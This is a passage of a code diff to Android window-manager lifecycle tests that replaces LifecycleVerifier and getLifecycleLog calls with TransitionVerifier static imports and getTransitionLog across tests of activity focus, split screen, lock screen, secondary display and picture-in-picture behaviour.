@Test
@@ -468,37 +479,37 @@
moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
// Launch second activity to side
- getLifecycleLog().clear();
+ getTransitionLog().clear();
mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
final Activity secondActivity = new Launcher(SingleTopActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
.launch();
// Tap on first activity to switch the focus
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final Task dockedTask = getRootTaskForLeafTaskId(firstActivity.getTaskId());
tapOnTaskCenter(dockedTask);
// Wait and assert focus switch
waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED),
state(secondActivity, ON_TOP_POSITION_LOST));
- LifecycleVerifier.assertEntireSequence(Arrays.asList(
+ assertEntireSequence(Arrays.asList(
transition(SingleTopActivity.class, ON_TOP_POSITION_LOST),
transition(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED)),
- getLifecycleLog(), "Single top resolution sequence must match");
+ getTransitionLog(), "Single top resolution sequence must match");
// Tap on second activity to switch the focus again
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final Task sideTask = getRootTaskForLeafTaskId(secondActivity.getTaskId());
tapOnTaskCenter(sideTask);
// Wait and assert focus switch
waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_LOST),
state(secondActivity, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertEntireSequence(Arrays.asList(
+ assertEntireSequence(Arrays.asList(
transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
transition(SingleTopActivity.class, ON_TOP_POSITION_GAINED)),
- getLifecycleLog(), "Single top resolution sequence must match");
+ getTransitionLog(), "Single top resolution sequence must match");
}
@Test
@@ -521,7 +532,7 @@
moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
// Launch second activity to side
- getLifecycleLog().clear();
+ getTransitionLog().clear();
mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
final Class<? extends Activity> secondActivityClass =
SecondProcessCallbackTrackingActivity.class;
@@ -538,27 +549,27 @@
waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED));
// Tap on first activity to switch the top resumed one
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final Task dockedTask = getRootTaskForLeafTaskId(firstActivity.getTaskId());
tapOnTaskCenter(dockedTask);
// Wait and assert top resumed position switch
waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
state(firstActivityClass, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(secondActivityClass, ON_TOP_POSITION_LOST),
transition(firstActivityClass, ON_TOP_POSITION_GAINED)),
"tapOnTask");
// Tap on second activity to switch the top resumed activity again
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final Task sideTask = mWmState.getTaskByActivity(secondActivityComponent);
tapOnTaskCenter(sideTask);
// Wait and assert top resumed position switch
waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
state(firstActivityClass, ON_TOP_POSITION_LOST));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(firstActivityClass, ON_TOP_POSITION_LOST),
transition(secondActivityClass, ON_TOP_POSITION_GAINED)),
"tapOnTask");
@@ -584,7 +595,7 @@
moveTaskToPrimarySplitScreenAndVerify(slowActivity, sideActivity);
// Launch second activity to side
- getLifecycleLog().clear();
+ getTransitionLog().clear();
mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
final Class<? extends Activity> secondActivityClass =
SecondProcessCallbackTrackingActivity.class;
@@ -601,20 +612,20 @@
waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED));
// Tap on first activity to switch the top resumed one
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final Task dockedTask = getRootTaskForLeafTaskId(slowActivity.getTaskId());
tapOnTaskCenter(dockedTask);
// Wait and assert top resumed position switch.
waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
state(slowActivityClass, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(secondActivityClass, ON_TOP_POSITION_LOST),
transition(slowActivityClass, ON_TOP_POSITION_GAINED)),
"tapOnTask");
// Tap on second activity to switch the top resumed activity again
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final Task sideTask = mWmState
.getTaskByActivity(secondActivityComponent);
tapOnTaskCenter(sideTask);
@@ -623,18 +634,18 @@
// be reported to the first activity before second will finish handling it.
waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
state(slowActivityClass, ON_TOP_POSITION_LOST));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(secondActivityClass, ON_TOP_POSITION_GAINED),
transition(slowActivityClass, ON_TOP_POSITION_LOST)),
"tapOnTask");
// Wait 5 seconds more to make sure that no new messages received after top resumed state
// released by the slow activity
- getLifecycleLog().clear();
+ getTransitionLog().clear();
Thread.sleep(5000);
- LifecycleVerifier.assertEmptySequence(slowActivityClass, getLifecycleLog(),
+ assertEmptySequence(slowActivityClass, getTransitionLog(),
"topStateLossTimeout");
- LifecycleVerifier.assertEmptySequence(secondActivityClass, getLifecycleLog(),
+ assertEmptySequence(secondActivityClass, getTransitionLog(),
"topStateLossTimeout");
}
@@ -642,11 +653,11 @@
public void testTopPositionPreservedOnLocalRelaunch() throws Exception {
final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
- getLifecycleLog().clear();
+ getTransitionLog().clear();
getInstrumentation().runOnMainSync(activity::recreate);
waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertRelaunchSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+ assertRelaunchSequence(CallbackTrackingActivity.class, getTransitionLog(),
ON_TOP_POSITION_GAINED);
}
@@ -661,23 +672,21 @@
.setExpectedState(ON_STOP)
.setNoInstance()
.launch();
- LifecycleVerifier.assertLaunchAndStopSequence(CallbackTrackingActivity.class,
- getLifecycleLog(), true /* onTop */);
+ assertLaunchAndStopSequence(CallbackTrackingActivity.class, getTransitionLog(),
+ true /* onTop */);
- getLifecycleLog().clear();
+ getTransitionLog().clear();
}
// Lock screen removed - activity should be on top now
if (isCar()) {
- LifecycleVerifier.assertStopToResumeSubSequence(CallbackTrackingActivity.class,
- getLifecycleLog());
+ assertStopToResumeSubSequence(CallbackTrackingActivity.class, getTransitionLog());
waitAndAssertActivityCurrentState(CallbackTrackingActivity.class,
ON_TOP_POSITION_GAINED);
} else {
waitAndAssertActivityStates(
state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertStopToResumeSequence(CallbackTrackingActivity.class,
- getLifecycleLog());
+ assertStopToResumeSequence(CallbackTrackingActivity.class, getTransitionLog());
}
}
@@ -687,26 +696,26 @@
final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
- getLifecycleLog().clear();
+ getTransitionLog().clear();
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
lockScreenSession.setLockCredential().gotoKeyguard();
waitAndAssertActivityStates(state(activity, ON_STOP));
- LifecycleVerifier.assertResumeToStopSequence(CallbackTrackingActivity.class,
- getLifecycleLog());
+ assertResumeToStopSequence(CallbackTrackingActivity.class,
+ getTransitionLog());
- getLifecycleLog().clear();
+ getTransitionLog().clear();
}
// Lock screen removed - activity should be on top now
if (isCar()) {
- LifecycleVerifier.assertStopToResumeSubSequence(CallbackTrackingActivity.class,
- getLifecycleLog());
+ assertStopToResumeSubSequence(CallbackTrackingActivity.class,
+ getTransitionLog());
waitAndAssertActivityCurrentState(activity.getClass(), ON_TOP_POSITION_GAINED);
} else {
waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertStopToResumeSequence(CallbackTrackingActivity.class,
- getLifecycleLog());
+ assertStopToResumeSequence(CallbackTrackingActivity.class,
+ getTransitionLog());
}
}
@@ -725,21 +734,21 @@
.launch();
// TODO(b/123432490): Fix extra pause/resume
- LifecycleVerifier.assertSequence(ShowWhenLockedCallbackTrackingActivity.class,
- getLifecycleLog(),
+ assertSequence(ShowWhenLockedCallbackTrackingActivity.class,
+ getTransitionLog(),
Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE, ON_RESUME,
ON_TOP_POSITION_GAINED),
"launchAboveKeyguard");
- getLifecycleLog().clear();
+ getTransitionLog().clear();
}
// When the lock screen is removed, the ShowWhenLocked activity will be dismissed using the
// back button, which should finish the activity.
waitAndAssertActivityStates(state(showWhenLockedActivity, ON_DESTROY));
- LifecycleVerifier.assertResumeToDestroySequence(
- ShowWhenLockedCallbackTrackingActivity.class, getLifecycleLog());
+ assertResumeToDestroySequence(
+ ShowWhenLockedCallbackTrackingActivity.class, getTransitionLog());
}
@Test
@@ -757,7 +766,7 @@
waitAndAssertTopResumedActivity(getComponentName(CallbackTrackingActivity.class),
DEFAULT_DISPLAY, "Activity launched on default display must be focused");
waitAndAssertActivityTransitions(CallbackTrackingActivity.class,
- LifecycleVerifier.getLaunchSequence(CallbackTrackingActivity.class), "launch");
+ getLaunchSequence(CallbackTrackingActivity.class), "launch");
try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
// Create new simulated display
@@ -765,7 +774,7 @@
= virtualDisplaySession.setSimulateDisplay(true).createDisplay();
// Launch another activity on new secondary display.
- getLifecycleLog().clear();
+ getTransitionLog().clear();
launchOptions.setLaunchDisplayId(newDisplay.mId);
new Launcher(SingleTopActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK)
@@ -775,20 +784,19 @@
newDisplay.mId, "Activity launched on secondary display must be focused");
waitAndAssertActivityTransitions(SingleTopActivity.class,
- LifecycleVerifier.getLaunchSequence(SingleTopActivity.class), "launch");
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ getLaunchSequence(SingleTopActivity.class), "launch");
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
transition(SingleTopActivity.class, ON_TOP_POSITION_GAINED)),
"launchOnOtherDisplay");
- getLifecycleLog().clear();
+ getTransitionLog().clear();
}
// Secondary display was removed - activity will be moved to the default display
waitForActivityTransitions(SingleTopActivity.class,
- LifecycleVerifier.getRelaunchSequence(
- ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ getRelaunchSequence(ON_TOP_POSITION_GAINED));
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(SingleTopActivity.class, ON_TOP_POSITION_LOST),
transition(SingleTopActivity.class, ON_TOP_POSITION_GAINED)),
"hostingDisplayRemoved");
@@ -815,7 +823,7 @@
.createDisplay();
// Launch another activity on new secondary display.
- getLifecycleLog().clear();
+ getTransitionLog().clear();
launchOptions.setLaunchDisplayId(newDisplay.mId);
new Launcher(SingleTopActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK)
@@ -824,7 +832,7 @@
waitAndAssertTopResumedActivity(getComponentName(SingleTopActivity.class),
newDisplay.mId, "Activity launched on secondary display must be focused");
- getLifecycleLog().clear();
+ getTransitionLog().clear();
// Tap on task center to switch the top activity.
final Task callbackTrackingTask = mWmState
@@ -836,12 +844,12 @@
Arrays.asList(ON_TOP_POSITION_LOST), "tapOnFocusSwitch");
waitAndAssertActivityTransitions(CallbackTrackingActivity.class,
Arrays.asList(ON_TOP_POSITION_GAINED), "tapOnFocusSwitch");
- LifecycleVerifier.assertEntireSequence(Arrays.asList(
+ assertEntireSequence(Arrays.asList(
transition(SingleTopActivity.class, ON_TOP_POSITION_LOST),
transition(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED)),
- getLifecycleLog(), "Top activity must be switched on tap");
+ getTransitionLog(), "Top activity must be switched on tap");
- getLifecycleLog().clear();
+ getTransitionLog().clear();
// Tap on task center to switch the top activity.
final Task singleTopActivityTask = mWmState
@@ -854,10 +862,10 @@
Arrays.asList(ON_TOP_POSITION_LOST), "tapOnFocusSwitch");
waitAndAssertActivityTransitions(SingleTopActivity.class,
Arrays.asList(ON_TOP_POSITION_GAINED), "tapOnFocusSwitch");
- LifecycleVerifier.assertEntireSequence(Arrays.asList(
+ assertEntireSequence(Arrays.asList(
transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
transition(SingleTopActivity.class, ON_TOP_POSITION_GAINED)),
- getLifecycleLog(), "Top activity must be switched on tap");
+ getTransitionLog(), "Top activity must be switched on tap");
}
@Test
@@ -883,7 +891,7 @@
waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED));
// Launch activity on default display, which will be slow to release top position.
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final ActivityOptions launchOptions = ActivityOptions.makeBasic();
launchOptions.setLaunchDisplayId(DEFAULT_DISPLAY);
final Class<? extends Activity> defaultActivityClass = SlowActivity.class;
@@ -899,13 +907,13 @@
// Wait and assert focus switch
waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
state(defaultActivityClass, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(secondActivityClass, ON_TOP_POSITION_LOST),
transition(defaultActivityClass, ON_TOP_POSITION_GAINED)),
"launchOnDifferentDisplay");
// Tap on task center to switch the top activity.
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final Task secondActivityTask = mWmState
.getTaskByActivity(getComponentName(SecondProcessCallbackTrackingActivity.class));
tapOnTaskCenter(secondActivityTask);
@@ -913,12 +921,12 @@
// Wait and assert top resumed position switch.
waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
state(defaultActivityClass, ON_TOP_POSITION_LOST));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(defaultActivityClass, ON_TOP_POSITION_LOST),
transition(secondActivityClass, ON_TOP_POSITION_GAINED)),
"tapOnDifferentDisplay");
- getLifecycleLog().clear();
+ getTransitionLog().clear();
// Tap on task center to switch the top activity.
final Task defaultActivityTask = mWmState
.getTaskByActivity(getComponentName(defaultActivityClass));
@@ -927,7 +935,7 @@
// Wait and assert top resumed position switch.
waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
state(defaultActivityClass, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(secondActivityClass, ON_TOP_POSITION_LOST),
transition(defaultActivityClass, ON_TOP_POSITION_GAINED)),
"tapOnDifferentDisplay");
@@ -956,7 +964,7 @@
waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED));
// Launch activity on default display, which will be slow to release top position.
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final ActivityOptions launchOptions = ActivityOptions.makeBasic();
launchOptions.setLaunchDisplayId(DEFAULT_DISPLAY);
final Class<? extends Activity> defaultActivityClass = SlowActivity.class;
@@ -972,31 +980,31 @@
// Wait and assert focus switch.
waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
state(defaultActivityClass, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(secondActivityClass, ON_TOP_POSITION_LOST),
transition(defaultActivityClass, ON_TOP_POSITION_GAINED)),
"launchOnDifferentDisplay");
// Tap on secondary display to switch the top activity.
- getLifecycleLog().clear();
+ getTransitionLog().clear();
tapOnDisplayCenter(newDisplay.mId);
// Wait and assert top resumed position switch. Because of timeout top position gain
// will appear before top position loss handling is finished.
waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
state(defaultActivityClass, ON_TOP_POSITION_LOST));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(secondActivityClass, ON_TOP_POSITION_GAINED),
transition(defaultActivityClass, ON_TOP_POSITION_LOST)),
"tapOnDifferentDisplay");
// Wait 5 seconds more to make sure that no new messages received after top resumed state
// released by the slow activity
- getLifecycleLog().clear();
+ getTransitionLog().clear();
SystemClock.sleep(5000);
- LifecycleVerifier.assertEmptySequence(defaultActivityClass, getLifecycleLog(),
+ assertEmptySequence(defaultActivityClass, getTransitionLog(),
"topStateLossTimeout");
- LifecycleVerifier.assertEmptySequence(secondActivityClass, getLifecycleLog(),
+ assertEmptySequence(secondActivityClass, getTransitionLog(),
"topStateLossTimeout");
}
@@ -1021,7 +1029,7 @@
.createDisplay();
// Launch another activity on new secondary display.
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final ActivityOptions launchOptions = ActivityOptions.makeBasic();
launchOptions.setLaunchDisplayId(newDisplay.mId);
new Launcher(SingleTopActivity.class)
@@ -1032,18 +1040,18 @@
newDisplay.mId, "Activity launched on secondary display must be focused");
// An activity is launched on the new display, so the activity on default display should
// lose the top state.
- LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+ assertSequence(CallbackTrackingActivity.class, getTransitionLog(),
Arrays.asList(ON_TOP_POSITION_LOST), "launchFocusSwitch");
// Finish the activity on the default display.
- getLifecycleLog().clear();
+ getTransitionLog().clear();
callbackTrackingActivity.finish();
// Verify that activity was actually destroyed.
waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_DESTROY));
// Verify that the original focused display is not affected by the finished activity on
// non-focused display.
- LifecycleVerifier.assertEmptySequence(SingleTopActivity.class, getLifecycleLog(),
+ assertEmptySequence(SingleTopActivity.class, getTransitionLog(),
"destructionOnDifferentDisplay");
}
@@ -1065,7 +1073,7 @@
.createDisplay();
// Launch another activity on new secondary display.
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final ActivityOptions launchOptions = ActivityOptions.makeBasic();
launchOptions.setLaunchDisplayId(newDisplay.mId);
new Launcher(SingleTopActivity.class)
@@ -1082,14 +1090,14 @@
waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
// Finish the focused activity
- getLifecycleLog().clear();
+ getTransitionLog().clear();
callbackTrackingActivity.finish();
// Verify that lifecycle of the activity on a different display did not change.
// Top resumed state will be given to home activity on that display.
waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_DESTROY),
state(SecondActivity.class, ON_RESUME));
- LifecycleVerifier.assertEmptySequence(SingleTopActivity.class, getLifecycleLog(),
+ assertEmptySequence(SingleTopActivity.class, getTransitionLog(),
"destructionOnDifferentDisplay");
}
@@ -1101,7 +1109,7 @@
final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
// Clear the log before launching to Pip
- getLifecycleLog().clear();
+ getTransitionLog().clear();
// Launch Pip-capable activity and enter Pip immediately
final Activity pipActivity = new Launcher(PipActivity.class)
@@ -1123,21 +1131,21 @@
, "wait PipMenuActivity lost top focus");
waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
transition(CallbackTrackingActivity.class, ON_PAUSE),
transition(CallbackTrackingActivity.class, ON_RESUME),
transition(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED)), "startPIP");
// Exit PiP
- getLifecycleLog().clear();
+ getTransitionLog().clear();
pipActivity.finish();
waitAndAssertActivityStates(state(pipActivity, ON_DESTROY));
- LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
+ assertSequence(PipActivity.class, getTransitionLog(),
Arrays.asList(
ON_STOP, ON_DESTROY), "finishPip");
- LifecycleVerifier.assertEmptySequence(CallbackTrackingActivity.class, getLifecycleLog(),
+ assertEmptySequence(CallbackTrackingActivity.class, getTransitionLog(),
"finishPip");
}
@@ -1149,7 +1157,7 @@
final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
// Clear the log before launching to Pip
- getLifecycleLog().clear();
+ getTransitionLog().clear();
// Launch Pip-capable activity and enter Pip immediately
final Activity pipActivity = new Launcher(PipActivity.class)
@@ -1165,20 +1173,20 @@
launchActivityAndWait(AlwaysFocusablePipActivity.class);
waitAndAssertActivityStates(state(pipActivity, ON_STOP),
state(activity, ON_TOP_POSITION_LOST));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
transition(AlwaysFocusablePipActivity.class, ON_TOP_POSITION_GAINED)),
"launchAlwaysFocusablePip");
// Finish always focusable activity - top position should go back to fullscreen activity
- getLifecycleLog().clear();
+ getTransitionLog().clear();
alwaysFocusableActivity.finish();
waitAndAssertActivityStates(state(alwaysFocusableActivity, ON_DESTROY),
state(activity, ON_TOP_POSITION_GAINED), state(pipActivity, ON_PAUSE));
- LifecycleVerifier.assertResumeToDestroySequence(AlwaysFocusablePipActivity.class,
- getLifecycleLog());
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ assertResumeToDestroySequence(AlwaysFocusablePipActivity.class,
+ getTransitionLog());
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(AlwaysFocusablePipActivity.class, ON_TOP_POSITION_LOST),
transition(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED)),
"finishAlwaysFocusablePip");
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
index 95c9c4a..7888595 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
@@ -98,7 +98,7 @@
// Navigate home
launchHomeActivity();
waitAndAssertActivityStates(state(FirstActivity.class, ON_STOP));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
// Start activity again with flags in question. Verify activity is resumed.
// A new instance of activity will be created, and the old one destroyed.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
index 7f42519..5739935 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
@@ -27,7 +27,12 @@
import static android.server.wm.lifecycle.LifecycleConstants.ON_STOP;
import static android.server.wm.lifecycle.LifecycleConstants.ON_TOP_POSITION_GAINED;
import static android.server.wm.lifecycle.LifecycleConstants.ON_TOP_POSITION_LOST;
-import static android.server.wm.lifecycle.LifecycleVerifier.transition;
+import static android.server.wm.lifecycle.TransitionVerifier.assertEmptySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertEntireSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchAndDestroySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.transition;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
@@ -40,6 +45,7 @@
import org.junit.Test;
import java.util.Arrays;
+import java.util.Collections;
/**
* Tests for {@link Activity} class APIs.
@@ -56,10 +62,9 @@
final Activity activity = launchActivityAndWait(FirstActivity.class);
waitAndAssertActivityStates(state(activity, ON_RESUME));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
assertFalse("Launched and visible activity must be released", activity.releaseInstance());
- LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(),
- "tryReleaseInstance");
+ assertEmptySequence(FirstActivity.class, getTransitionLog(), "tryReleaseInstance");
}
@Test
@@ -71,18 +76,18 @@
mWmState.waitForActivityState(firstActivity.getComponentName(), STATE_STOPPED);
// Release the instance of the non-visible activity below.
- getLifecycleLog().clear();
+ getTransitionLog().clear();
assertTrue("It must be possible to release an instance of an invisible activity",
firstActivity.releaseInstance());
waitAndAssertActivityStates(state(firstActivity, ON_DESTROY));
- LifecycleVerifier.assertEmptySequence(SecondActivity.class, getLifecycleLog(),
+ assertEmptySequence(SecondActivity.class, getTransitionLog(),
"releaseInstance");
// Finish the top activity to navigate back to the first one and re-create it.
- getLifecycleLog().clear();
+ getTransitionLog().clear();
secondActivity.finish();
waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
- LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
+ assertLaunchSequence(FirstActivity.class, getTransitionLog());
}
/**
@@ -98,16 +103,16 @@
waitAndAssertActivityStates(state(rootActivity, ON_STOP),
state(topActivity, ON_TOP_POSITION_GAINED));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
rootActivity.finishAndRemoveTask();
waitAndAssertActivityStates(state(rootActivity, ON_DESTROY),
state(topActivity, ON_DESTROY));
// Cannot guarantee exact sequence among top and bottom activities, so verifying
// independently
- LifecycleVerifier.assertSequence(rootActivityClass, getLifecycleLog(),
- Arrays.asList(ON_DESTROY), "finishAndRemoveTask");
- LifecycleVerifier.assertSequence(topActivityClass, getLifecycleLog(),
+ assertSequence(rootActivityClass, getTransitionLog(),
+ Collections.singletonList(ON_DESTROY), "finishAndRemoveTask");
+ assertSequence(topActivityClass, getTransitionLog(),
Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY),
"finishAndRemoveTask");
}
@@ -126,16 +131,16 @@
waitAndAssertActivityStates(state(rootActivity, ON_PAUSE),
state(topActivity, ON_TOP_POSITION_GAINED));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
rootActivity.finishAndRemoveTask();
waitAndAssertActivityStates(state(rootActivity, ON_DESTROY),
state(topActivity, ON_DESTROY));
// Cannot guarantee exact sequence among top and bottom activities, so verifying
// independently
- LifecycleVerifier.assertSequence(rootActivityClass, getLifecycleLog(),
+ assertSequence(rootActivityClass, getTransitionLog(),
Arrays.asList(ON_STOP, ON_DESTROY), "finishAndRemoveTask");
- LifecycleVerifier.assertSequence(topActivityClass, getLifecycleLog(),
+ assertSequence(topActivityClass, getTransitionLog(),
Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY),
"finishAndRemoveTask");
}
@@ -155,13 +160,12 @@
waitAndAssertActivityStates(state(rootActivity, ON_STOP), state(midActivity, ON_STOP),
state(topActivity, ON_TOP_POSITION_GAINED));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
midActivity.finishAndRemoveTask();
waitAndAssertActivityStates(state(midActivity, ON_DESTROY));
- LifecycleVerifier.assertEntireSequence(Arrays.asList(
- transition(midActivityClass, ON_DESTROY)), getLifecycleLog(),
- "finishAndRemoveTask");
+ assertEntireSequence(Collections.singletonList(transition(midActivityClass, ON_DESTROY)),
+ getTransitionLog(), "finishAndRemoveTask");
}
/**
@@ -171,16 +175,15 @@
@Test
public void testFinishAfterTransition() throws Exception {
final TransitionSourceActivity rootActivity =
- (TransitionSourceActivity) launchActivityAndWait(TransitionSourceActivity.class);
+ launchActivityAndWait(TransitionSourceActivity.class);
waitAndAssertActivityStates(state(rootActivity, ON_RESUME));
// Launch activity with configured shared element transition. It will call
// finishAfterTransition() on its own after transition completes.
- rootActivity.runOnUiThread(() -> rootActivity.launchActivityWithTransition());
+ rootActivity.runOnUiThread(rootActivity::launchActivityWithTransition);
waitAndAssertActivityStates(state(TransitionDestinationActivity.class, ON_DESTROY),
state(rootActivity, ON_RESUME));
- LifecycleVerifier.assertLaunchAndDestroySequence(TransitionDestinationActivity.class,
- getLifecycleLog());
+ assertLaunchAndDestroySequence(TransitionDestinationActivity.class, getTransitionLog());
}
/**
@@ -192,10 +195,10 @@
final Activity activity = launchActivityAndWait(FirstActivity.class);
waitAndAssertActivityStates(state(activity, ON_RESUME));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
activity.finishAfterTransition();
waitAndAssertActivityStates(state(FirstActivity.class, ON_DESTROY));
- LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+ assertSequence(FirstActivity.class, getTransitionLog(),
Arrays.asList(ON_PAUSE, ON_STOP, ON_DESTROY), "finishAfterTransition");
}
@@ -209,10 +212,10 @@
final Activity topActivity = launchActivityAndWait(SecondActivity.class);
waitAndAssertActivityStates(state(topActivity, ON_RESUME), state(rootActivity, ON_STOP));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
topActivity.finishAfterTransition();
waitAndAssertActivityStates(state(SecondActivity.class, ON_DESTROY));
- LifecycleVerifier.assertSequence(SecondActivity.class, getLifecycleLog(),
+ assertSequence(SecondActivity.class, getTransitionLog(),
Arrays.asList(ON_PAUSE, ON_STOP, ON_DESTROY), "finishAfterTransition");
}
@@ -228,12 +231,11 @@
waitAndAssertActivityStates(state(thirdActivity, ON_RESUME), state(secondActivity, ON_STOP),
state(firstActivity, ON_STOP));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
secondActivity.finishAffinity();
